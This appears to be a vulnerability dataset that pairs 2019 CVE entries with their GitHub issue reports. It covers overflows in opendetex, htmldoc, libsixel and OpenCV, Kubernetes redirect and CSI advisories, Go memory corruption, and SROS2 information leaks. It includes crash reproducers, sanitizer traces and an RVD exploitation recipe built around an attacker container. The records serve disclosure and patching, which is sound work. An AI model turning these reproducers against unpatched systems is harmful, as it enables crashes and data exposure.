#5 0x4cb20e in main /home/fcambus/opendetex-2.8.5/detex.l:602:12
#6 0x7fd1c14491e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#7 0x41b34d in _start (/home/fcambus/opendetex-2.8.5/detex+0x41b34d)
0x000000db1540 is located 0 bytes to the right of global variable 'sbFullPath' defined in 'detex.l:893:14' (0xdb0540) of size 4096
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/fcambus/opendetex-2.8.5/detex+0x43a606) in vsprintf
Shadow bytes around the buggy address:
0x0000801ae250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801ae260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801ae270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801ae280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000801ae290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000801ae2a0: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9
0x0000801ae2b0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801ae2c0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801ae2d0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801ae2e0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0000801ae2f0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2795==ABORTING
```
|
Buffer overflow in the TexOpen() function
|
https://api.github.com/repos/pkubowicz/opendetex/issues/60/comments
| 2
|
2019-12-05T08:11:30Z
|
2020-01-25T12:56:16Z
|
https://github.com/pkubowicz/opendetex/issues/60
| 533,191,085
| 60
| 867
|
CVE-2019-19602
|
2019-12-05T14:15:09.257
|
fpregs_state_valid in arch/x86/include/asm/fpu/internal.h in the Linux kernel before 5.4.2, when GCC 9 is used, allows context-dependent attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact because of incorrect fpu_fpregs_owner_ctx caching, as demonstrated by mishandling of signal-based non-cooperative preemption in Go 1.14 prereleases on amd64, aka CID-59c4bd853abc.
|
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|
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"Third Party Advisory"
] |
github.com
|
[
"golang",
"go"
] |
We've had several reports of memory corruption on Linux 5.3.x (or later) kernels from people running tip since asynchronous preemption was committed. This is a super-bug to track these issues. I suspect they all have one root cause.
Typically these are "runtime error: invalid memory address or nil pointer dereference" or "runtime: unexpected return pc" or "segmentation violation" panics. They can also appear as self-detected data corruption.
If you encounter a crash that could be random memory corruption, are running Linux 5.3.x or later, and are running a recent tip Go (after commit 62e53b79227dafc6afcd92240c89acb8c0e1dd56), please file a new issue and add a comment here. If you can reproduce it, please try setting "GODEBUG=asyncpreemptoff=1" in your environment and seeing if you can still reproduce it.
Duplicate issues (I'll edit this comment to keep this up-to-date):
runtime: corrupt binary export data seen after signal preemption CL (#35326): Corruption in file version header observed by vet. Medium reproducible. Strong leads.
cmd/compile: panic during early copyelim crash (#35658): Invalid memory address in cmd/compile/internal/ssa.copyelim. Not reproducible. Nothing obvious in stack trace. Haven't dug into assembly.
runtime: SIGSEGV in mapassign_fast64 during cmd/vet (#35689): Invalid memory address in runtime.mapassign_fast64 in vet. Stack trace includes random pointers. Some assembly decoding work.
runtime: unexpected return pc for runtime.(*mheap).alloc (#35328): Unexpected return pc. Stack trace includes random pointers. Not reproducible.
cmd/dist: I/O error: read src/xxx.go: is a directory (#35776): Random misbehavior. Not reproducible.
runtime: "fatal error: mSpanList.insertBack" in mallocgc (#35771): Bad mspan next pointer (random and unaligned). Not reproducible.
cmd/compile: invalid memory address or nil pointer dereference in gc.convlit1 (#35621): Invalid memory address in cmd/compile/internal/gc.convlit1. Evidence of memory corruption, though no obvious random pointers. Not reproducible.
cmd/go: unexpected signal during runtime execution (#35783): Corruption in file version header observed by vet. Not reproducible.
runtime: unexpected return pc for runtime.systemstack_switch (#35592): Unexpected return pc. Stack trace includes random pointers. Not reproducible.
cmd/compile: random compile error running tests (#35760): Compiler data corruption. Not reproducible.
|
runtime: memory corruption on Linux 5.2+
|
https://api.github.com/repos/golang/go/issues/35777/comments
| 93
|
2019-11-22T15:24:36Z
|
2024-09-13T15:13:41Z
|
https://github.com/golang/go/issues/35777
| 527,259,718
| 35,777
| 868
|
CVE-2018-1002102
|
2019-12-05T16:15:10.427
|
Improper validation of URL redirection in the Kubernetes API server in versions prior to v1.14.0 allows an attacker-controlled Kubelet to redirect API server requests from streaming endpoints to arbitrary hosts. Impacted API servers will follow the redirect as a GET request with client-certificate credentials for authenticating to the Kubelet.
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"kubernetes"
] |
CVSS Rating: [CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:N/A:N/E:F (Low)](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:N/A:N/E:F)
An attacker-controlled Kubelet can return an arbitrary redirect when responding to certain apiserver requests. Impacted kube-apiservers will follow the redirect as a GET request with client-cert credentials for authenticating to the Kubelet.
### Am I vulnerable?
Kubernetes API servers with the `StreamingProxyRedirects` [feature](https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/) enabled AND without the `ValidateProxyRedirects` feature are affected.
API servers using SSH tunnels (--ssh-user / --ssh-keyfile) are not affected.
Using the default feature gate values, kube-apiserver versions before v1.14 are affected.
### How do I mitigate this vulnerability?
For Kubernetes versions >= v1.10.0, the `ValidateProxyRedirects` can be manually enabled with the `kube-apiserver` flag `--feature-gates=ValidateProxyRedirects=true`.
#### Fix impact
The `ValidateProxyRedirects` feature will cause the kube-apiserver to check that redirects go to the same host. If nodes are configured to respond to CRI streaming requests on a different host interface than what the apiserver makes requests on (only the case if not using the built-in dockershim & setting the kubelet flag `--redirect-container-streaming=true`), then these requests will be broken. In that case, the feature can be temporarily disabled until the node configuration is corrected. We suggest setting `--redirect-container-streaming=false` on the kubelet to avoid issues.
#### Fixed Versions
- Kubernetes v1.14+ - Fixed by default in https://github.com/kubernetes/kubernetes/pull/72552
- Kubernetes v1.10-v1.14 - Fix available as alpha in https://github.com/kubernetes/kubernetes/pull/66516
## Additional Details
In a future release, we plan to deprecate the `StreamingProxyRedirects` feature, instead opting to handle the redirection locally through the Kubelet. Once the deprecation is complete, we can completely remove apiserver redirect handling (at least for Kubelet requests).
#### Acknowledgements
This vulnerability was reported by Alban Crequy.
/area security
/kind bug
/committee product-security
/sig api-machinery node
/area apiserver
/close
|
CVE-2018-1002102: Unvalidated redirect
|
https://api.github.com/repos/kubernetes/kubernetes/issues/85867/comments
| 3
|
2019-12-03T22:58:37Z
|
2021-12-02T22:56:35Z
|
https://github.com/kubernetes/kubernetes/issues/85867
| 532,323,568
| 85,867
| 869
|
CVE-2019-11255
|
2019-12-05T16:15:10.567
|
Improper input validation in Kubernetes CSI sidecar containers for external-provisioner (<v0.4.3, <v1.0.2, v1.1, <v1.2.2, <v1.3.1), external-snapshotter (<v0.4.2, <v1.0.2, v1.1, <1.2.2), and external-resizer (v0.1, v0.2) could result in unauthorized PersistentVolume data access or volume mutation during snapshot, restore from snapshot, cloning and resizing operations.
|
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20
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https://github.com/kubernetes/kubernetes/issues/85233
|
[
"Mitigation",
"Third Party Advisory"
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github.com
|
[
"kubernetes",
"kubernetes"
] |
<!-- Please use this template while reporting a bug and provide as much info as possible. Not doing so may result in your bug not being addressed in a timely manner. Thanks!
If the matter is security related, please disclose it privately via https://kubernetes.io/security/
-->
**Am I vulnerable?**
CSI snapshot, cloning and resizing features are affected. Prior to Kubernetes 1.16, these features were all alpha and disabled by default. Starting in Kubernetes 1.16, CSI cloning and resizing features are beta and enabled by default.
These features also require CSI drivers to be installed in a Kubernetes cluster and the CSI driver also has to support those features. An unofficial list of CSI drivers and their supported features is available [here](https://kubernetes-csi.github.io/docs/drivers.html), however it is best to check with the CSI driver vendor for the latest information.
Check if you have the following Kubernetes feature gates enabled:
```
VolumeSnapshotDataSource: alpha starting with K8s 1.12
ExpandCSIVolumes: alpha starting with K8s 1.14, beta starting with K8s 1.16
VolumePVCDataSource: alpha starting with K8s 1.15, beta starting with K8s 1.16
```
Check if you are using CSI drivers in your cluster. If so, the following command’s output will be non-empty:
```
$ kubectl get nodes -o jsonpath='{.items[*].metadata.annotations.csi\.volume\.kubernetes\.io\/nodeid}'
{"my-csi-plugin":"kubernetes-minion-group-433q"}
```
Then, check the CSI driver’s pod specifications to see if they are using the following vulnerable versions of sidecars:
```
external-provisioner: v0.4.1-0.4.2, v1.0.0-1.0.1, v1.1.0-1.2.1, v1.3.0
external-snapshotter: v0.4.0-0.4.1, v1.0.0-1.0.1, v1.1.0-v1.2.1
external-resizer: v0.1.0-0.2.0
```
An example query:
```
$ kubectl get pods --all-namespaces -o jsonpath='{..image}' | tr ' ' $'\n' | grep "csi-provisioner\|csi-snapshotter\|csi-resizer"
image: quay.io/k8scsi/csi-provisioner:v1.2.0
```
Note that the exact container image name may vary across CSI driver vendors. It is recommended to inspect the Pod specifications directly.
**How do I mitigate the vulnerability?**
As a short term mitigation, disable the `VolumeSnapshotDataSource`, `ExpandCSIVolumes`, and `VolumePVCDataSource` Kubernetes feature gates in kube-apiserver and kube-controller-manager. This will cause new PersistentVolumeClaims to be provisioned ignoring the DataSource and resizing requests will also be ignored. Note that this will cause new PVCs that are intended to be provisioned from a snapshot or clone to instead provision a blank disk.
Also, to disable taking volume snapshots, either remove the external-snapshotter sidecar from any CSI drivers or revoke the CSI driver’s RBAC permissions on the `snapshot.storage.k8s.io` API group.
Longer term, upgrade your CSI driver with patched versions of the affected sidecars. Fixes are available in the following sidecar versions:
external-provisioner:
v0.4.3
v1.0.2
v1.2.2
v1.3.1
v1.4.0
external-snapshotter:
v0.4.2
v1.0.2
v1.2.2
external-resizer
v0.3.0
Fixes for each of the sidecars can be tracked by:
https://github.com/kubernetes-csi/external-provisioner/issues/380
https://github.com/kubernetes-csi/external-snapshotter/issues/193
https://github.com/kubernetes-csi/external-resizer/issues/63
**How do I upgrade?**
Check with your CSI driver vendor for upgrade instructions. No Kubernetes control plane or node upgrades are required unless the CSI driver is bundled into the Kubernetes distribution.
**Vulnerability details**
There are two different vulnerabilities impacting the same features.
When PersistentVolumeClaim and PersistentVolume objects are bound, they have bidirectional references to each other. When dereferencing a PersistentVolumeClaim to get a PersistentVolume, the impacted sidecar controllers were not validating that the PersistentVolume referenced back to the same PersistentVolumeClaim, potentially operating on unauthorized PersistentVolumes for snapshot, cloning and resizing operations.
A similar issue exists for VolumeSnapshot and VolumeSnapshotContent objects when creating a new PersistentVolumeClaim from a snapshot.
The second issue is related to the property that CSI volume and snapshot ids are only required to be unique within a single CSI driver. Impacted sidecar controllers were not validating that the requested source VolumeSnapshot or PersistentVolumeClaim specified were from the same driver processing the request, potentially operating on unauthorized volumes during snapshot, restore from snapshot, or cloning operations.
|
CVE-2019-11255: CSI volume snapshot, cloning and resizing features can result in unauthorized volume data access or mutation
|
https://api.github.com/repos/kubernetes/kubernetes/issues/85233/comments
| 5
|
2019-11-13T20:57:31Z
|
2022-10-14T02:00:55Z
|
https://github.com/kubernetes/kubernetes/issues/85233
| 522,468,661
| 85,233
| 870
|
CVE-2019-19624
|
2019-12-06T15:15:10.330
|
An out-of-bounds read was discovered in OpenCV before 4.1.1. Specifically, variable coarsest_scale is assumed to be greater than or equal to finest_scale within the calc()/ocl_calc() functions in dis_flow.cpp. However, this is not true when dealing with small images, leading to an out-of-bounds read of the heap-allocated arrays Ux and Uy.
|
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[
"125"
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125
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https://github.com/opencv/opencv/issues/14554
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[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
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github.com
|
[
"opencv",
"opencv"
] |
##### System information (version)
<!-- Example
- OpenCV => 4.0
- Operating System / Platform => Windows 64 Bit
- Compiler => Visual Studio 2015
-->
- OpenCV => 4.0
- Operating System / Platform => Any
- Compiler => Any
##### Detailed description
DISOpticalFlow segfaults for small images.
The problem is in the calculation of pyramid scales.
Variable `coarsest_scale` is assumed to be greater or equal than `finest_scale` in `calc()`/`ocl_calc()` functions, while this is not true for small images. Actually, `coarsest_scale` can be even less than 0.
If `coarsest_scale` is less than `finest_scale`, loop body in `calc()`/`ocl_calc()` functions doesn't execute and `Ux`,`Uy` arrays are [accessed out-of-bounds](https://github.com/opencv/opencv/blob/master/modules/video/src/dis_flow.cpp#L1432).
As a solution, the finest level may be selected dependent on the coarsest level as [in DIS author's code](https://github.com/tikroeger/OF_DIS/blob/master/run_dense.cpp#L263) instead of constant for every preset, while coarsest level may be limited to be greater or equal than zero.
##### Steps to reproduce
```.cpp
#include <iostream>
#include <opencv2/opencv.hpp>
#include <opencv2/video/tracking.hpp>
int main(int argc, char *argv[]) {
cv::Ptr<cv::DISOpticalFlow> of = cv::DISOpticalFlow::create();
const int mat_size = 10; // use mat_size<=90 to crash and <= 11 to get coarsest_level<0
const int patch_size = 8;
int dis_coarsest_scale = (int)(std::log(mat_size / (4.0 * patch_size)) / std::log(2.0) + 0.5); /* Original code serach for maximal movement of width/4 */
std::cout << "Coarsest scale " << dis_coarsest_scale << ", finest scale " << of->getFinestScale() << std::endl;
cv::Mat x(mat_size, mat_size, CV_8UC1, 42);
cv::Mat y(mat_size, mat_size, CV_8UC1, 42);
cv::Mat flow;
of->calc(x, y, flow);
std::cout << "Result size " << flow.rows << ", " << flow.cols << std::endl;
return 0;
}
```
|
DISOpticalFlow: segfault for small images
|
https://api.github.com/repos/opencv/opencv/issues/14554/comments
| 2
|
2019-05-14T13:24:09Z
|
2024-05-10T02:57:12Z
|
https://github.com/opencv/opencv/issues/14554
| 443,913,502
| 14,554
| 871
|
CVE-2019-19625
|
2019-12-06T16:15:11.247
|
SROS 2 0.8.1 (which provides the tools that generate and distribute keys for Robot Operating System 2 and uses the underlying security plugins of DDS from ROS 2) leaks node information due to a leaky default configuration as indicated in the policy/defaults/dds/governance.xml document.
|
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200
|
https://github.com/aliasrobotics/RVD/issues/922
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"aliasrobotics",
"RVD"
] |
```yaml
cve: CVE-2019-19625
cwe: CWE-200 (Information Exposure)
description: We found that SROS 2, the tools to generate and distribute keys for ROS
2 and use the underlying security plugins of DDS from ROS 2 leak node information
due to a leaky default configuration as inidicated at https://github.com/ros2/sros2/blob/master/sros2/sros2/policy/defaults/dds/governance.xml#L13.
This exposure was first raised in the Security Workshop of ROSCon 2019 (Nov. 2019).
Further debugging the flaw indicates that there might be some additional underlying
issues.
exploitation:
description: A simple use of ros2cli allows to exploit this flaw. See https://asciinema.org/a/SSnSAMlOEoHfqhAuzC1R98STF
for a walkthrough.
exploitation-image: Not available
exploitation-vector: Not available
exploitation-recipe:
networks:
- network:
- driver: overlay
- name: net1
- encryption: true
- subnet: 12.0.0.0/24
- network:
- driver: overlay
- name: net2
- encryption: false
- subnet: 13.0.0.0/24
containers:
- container:
- name: subject1
- modules:
- base: registry.gitlab.com/aliasrobotics/offensive/alurity/ros2/ros2:2c82f8ff0dba79c00c1ce05198ef86920049a258
- network: net1
- container:
- name: subject2
- modules:
- base: registry.gitlab.com/aliasrobotics/offensive/alurity/ros2/ros2:2c82f8ff0dba79c00c1ce05198ef86920049a258
- volume: registry.gitlab.com/aliasrobotics/offensive/alurity/deve_atom
- network: net1
- container:
- name: attacker
- modules:
- base: registry.gitlab.com/aliasrobotics/offensive/alurity/ros2/ros2:2c82f8ff0dba79c00c1ce05198ef86920049a258
- volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_aztarna
- network:
- net1
- net2
flow:
- container:
- name: subject1
- window:
- name: unsecure
- commands:
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=0"
- command: "ros2 run demo_nodes_cpp talker"
- split: horizontal
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=0"
- command: "env | grep ROS" # this shows there's no security enabled at this point
- select: unsecure
- container:
- name: subject2
- window:
- name: secure
- commands:
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=1"
- command: "env | grep ROS" # this shows there's no security enabled at this point
- command: "ros2 run demo_nodes_cpp talker"
- command: "export ROS_SECURITY_ENABLE=true"
- command: "export ROS_SECURITY_STRATEGY=Enforce"
- command: "export ROS_SECURITY_ROOT_DIRECTORY=/opt/ros2_ws/keystore"
- command: "export ROS_SECURITY_LOOKUP_TYPE=MATCH_PREFIX"
- command: "env | grep ROS" # from this point on, there's security enabled
- command: "ros2 run demo_nodes_cpp talker"
- split: horizontal
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=1"
- command: "cd /opt/ros2_ws/"
- command: "mkdir policy"
# generate a security policy based on our current graph
- command: "ros2 security generate_policy policy/my_policy.xml"
- command: "cat policy/my_policy.xml"
# populated the keystore for all profiles
- command: "ros2 security generate_artifacts -k keystore -p policy/my_policy.xml -n /_ros2cli"
- command: "kill -9 $(pidof talker)"
- select: secure
- container:
- name: attacker
- window:
- name: attacker_window
- commands:
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "aztarna -t ros2 -d 0 --daemon -e"
- split: horizontal
- command: "source /opt/ros2_ws/install/setup.bash"
- type: "aztarna -t ros2 -d 1 --daemon -e"
- select: attacker_window
- attach: subject2
flaw:
application: any ROS 2 node communicating
architectural-location: platform code
date-detected: null
date-reported: '2019-12-06'
detected-by: Victor Mayoral Vilches and Lander Usategui San Juan (Alias Robotics)
detected-by-method: runtime detection
issue: https://github.com/aliasrobotics/RVD/issues/922
languages: Python
package: sros2
phase: runtime-operation
reported-by: Victor Mayoral Vilches and Lander Usategui San Juan (Alias Robotics)
reported-by-relationship: security researcher
reproducibility: always
reproduction: https://asciinema.org/a/SSnSAMlOEoHfqhAuzC1R98STF
reproduction-image: Not available
specificity: ROS-specific
subsystem: cognition:middleware
trace: N/A
id: 922
keywords:
- Robot Operating System 2
- ROS 2
- eloquent
- dashing
links:
- https://ros-swg.github.io/ROSCon19_Security_Workshop/
- https://github.com/ros-swg/turtlebot3_demo
- https://github.com/ros2/sros2/blob/master/sros2/sros2/policy/defaults/dds/governance.xml#L13
- https://design.ros2.org/articles/ros2_dds_security.html
- https://asciinema.org/a/SSnSAMlOEoHfqhAuzC1R98STF
mitigation:
date-mitigation: null
description: Modify the policy and set rtps_protection_kind to ENCRYPT
pull-request: https://github.com/ros2/sros2/pull/171
severity:
cvss-score: 7.5
cvss-vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
rvss-score: 6.5
rvss-vector: RVSS:1.0/AV:AN/AC:L/PR:N/UI:N/Y:Z/S:U/C:H/I:N/A:N/H:N
severity-description: high
system: ros2
title: 'RVD#922: SROS2 leaks node information'
type: exposure
vendor: ''
```
|
RVD#922: SROS2 leaks node information
|
https://api.github.com/repos/aliasrobotics/RVD/issues/922/comments
| 2
|
2019-12-05T21:44:23Z
|
2020-06-23T14:25:37Z
|
https://github.com/aliasrobotics/RVD/issues/922
| 533,616,302
| 922
| 872
|
CVE-2019-19627
|
2019-12-06T16:15:11.357
|
SROS 2 0.8.1 (after CVE-2019-19625 is mitigated) leaks ROS 2 node-related information regardless of the rtps_protection_kind configuration. (SROS2 provides the tools to generate and distribute keys for Robot Operating System 2 and uses the underlying security plugins of DDS from ROS 2.)
|
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github.com
|
[
"ros2",
"sros2"
] |
## Bug report
Connected to https://github.com/ros2/sros2/pull/171/files. After this patch one wold expect that node information isn't disclosed anymore but testing led to a different result. I'm not that experienced with `sros2` at this point so I might be missing something? Ping to @mikaelarguedas and @ruffsl.
- Operating System:
- OS X 10.14.3
- Ubuntu 18.04
- Installation type:
- from sources
- Version or commit hash:
- dashing
- eloquent
- master (https://github.com/ros2/ros2/)
- DDS implementation:
- FastRTPS
- Client library (if applicable):
- rclpy
#### Steps to reproduce issue
Change defaults set `rtps_protection_kind` to encrypt and recreate keys.
https://asciinema.org/a/yuGkBlaPC33wqL4qABRlgxBkd
#### Expected behavior
Communications are encrypted for third parties (without credentials) in the network, node information isn't disclosed.
#### Actual behavior
Node information is still disclosed. Even after applying https://github.com/ros2/sros2/pull/171/files , rebuilding `sros2` and regenerating the keys.
#### Additional information
- Connected to https://github.com/ros2/sros2/pull/171
|
SROS2 leaks node information, regardless of rtps_protection_kind setup
|
https://api.github.com/repos/ros2/sros2/issues/172/comments
| 4
|
2019-12-06T10:08:16Z
|
2020-02-13T22:26:42Z
|
https://github.com/ros2/sros2/issues/172
| 533,865,650
| 172
| 873
|
CVE-2019-19630
|
2019-12-08T02:15:10.030
|
HTMLDOC 1.9.7 allows a stack-based buffer overflow in the hd_strlcpy() function in string.c (when called from render_contents in ps-pdf.cxx) via a crafted HTML document.
|
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787
|
https://github.com/michaelrsweet/htmldoc/issues/370
|
[
"Exploit",
"Issue Tracking",
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] |
github.com
|
[
"michaelrsweet",
"htmldoc"
] |
Hi,
While fuzzing htmldoc with Honggfuzz, I found a stack-based buffer overflow in the hd_strlcpy() function, in string.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test01.html.gz](https://github.com/michaelrsweet/htmldoc/files/3933370/test01.html.gz)
Issue can be reproduced by running:
```
htmldoc test01.html -f test01.ps
```
```
=================================================================
==27915==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffefa66f0df at pc 0x000000494c40 bp 0x7ffefa66f070 sp 0x7ffefa66e838
WRITE of size 3 at 0x7ffefa66f0df thread T0
#0 0x494c3f in __asan_memcpy (/home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc+0x494c3f)
#1 0x556aa5 in hd_strlcpy /home/fcambus/htmldoc-1.9.7/htmldoc/string.c:191:3
#2 0x509ee3 in render_contents(tree_str*, float, float, float, float, float*, int*, int, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:3765:5
#3 0x4f3cfb in parse_contents(tree_str*, float, float, float, float, float*, int*, int*, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:3853:13
#4 0x4f3f6c in parse_contents(tree_str*, float, float, float, float, float*, int*, int*, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx
#5 0x4e4fce in pspdf_export /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:860:5
#6 0x4d17bb in main /home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc.cxx:1276:3
#7 0x7f68626141e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#8 0x41d84d in _start (/home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc+0x41d84d)
Address 0x7ffefa66f0df is located in stack of thread T0 at offset 63 in frame
#0 0x5084be in render_contents(tree_str*, float, float, float, float, float*, int*, int, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:3563
This frame has 2 object(s):
[32, 44) 'rgb' (line 3564)
[64, 1088) 'number' (line 3570) <== Memory access at offset 63 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc+0x494c3f) in __asan_memcpy
Shadow bytes around the buggy address:
0x10005f4c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005f4c5e10: 00 00 00 00 f1 f1 f1 f1 00 04 f2[f2]00 00 00 00
0x10005f4c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==27915==ABORTING
```
|
Stack-based buffer overflow in the hd_strlcpy() function
|
https://api.github.com/repos/michaelrsweet/htmldoc/issues/370/comments
| 4
|
2019-12-06T17:57:51Z
|
2019-12-08T19:02:42Z
|
https://github.com/michaelrsweet/htmldoc/issues/370
| 534,181,098
| 370
| 874
|
CVE-2019-19635
|
2019-12-08T03:15:10.897
|
An issue was discovered in libsixel 1.8.2. There is a heap-based buffer overflow in the function sixel_decode_raw_impl at fromsixel.c.
|
{
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/saitoha/libsixel/issues/103"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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[
"787"
] |
787
|
https://github.com/saitoha/libsixel/issues/103
|
[
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
# libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to teamseri0us360@gmail.com if you have any questions.
---------------------
## sixel_decode_raw_impl@fromsixel.c:608-41___heap-buffer-overflow
### description
An issue was discovered in libsixel 1.8.2, There is a/an heap-buffer-overflow in function sixel_decode_raw_impl at fromsixel.c:608-41
### commandline
img2sixel @@ -o /dev/null
### source
```c
604 }
605 c <<= 1;
606 }
607 for (y = context->pos_y + i; y < context->pos_y + i + n; ++y) {
> 608 me \*bug=>*\ mset(image->data + image->width * y + context->pos_x,
609 context->color_index,
610 (size_t)context->repeat_count);
611 }
612 if (context->max_x < (context->pos_x + context->repeat_count - 1)) {
613 context->max_x = context->pos_x + context->repeat_count - 1;
```
### bug report
```txt
=================================================================
==11466==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000009200 at pc 0x0000004a2fb5 bp 0x7ffc5f4c8500 sp 0x7ffc5f4c7cb0
WRITE of size 2147483647 at 0x629000009200 thread T0
#0 0x4a2fb4 in __asan_memset (/src/aflbuild/installed/bin/img2sixel+0x4a2fb4)
#1 0x7fc638b15334 in sixel_decode_raw_impl /src/libsixel/src/fromsixel.c:608:41
#2 0x7fc638b18964 in sixel_decode_raw /src/libsixel/src/fromsixel.c:881:14
#3 0x7fc638b7291e in load_sixel /src/libsixel/src/loader.c:613:14
#4 0x7fc638b7291e in load_with_builtin /src/libsixel/src/loader.c:782
#5 0x7fc638b7291e in sixel_helper_load_image_file /src/libsixel/src/loader.c:1352
#6 0x7fc638c1c5bc in sixel_encoder_encode /src/libsixel/src/encoder.c:1737:14
#7 0x4ebd82 in main /src/libsixel/converters/img2sixel.c:457:22
#8 0x7fc63775982f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x418d38 in _start (/src/aflbuild/installed/bin/img2sixel+0x418d38)
0x629000009200 is located 0 bytes to the right of 16384-byte region [0x629000005200,0x629000009200)
allocated by thread T0 here:
#0 0x4b8e68 in malloc (/src/aflbuild/installed/bin/img2sixel+0x4b8e68)
#1 0x7fc638b1805b in image_buffer_resize /src/libsixel/src/fromsixel.c:292:35
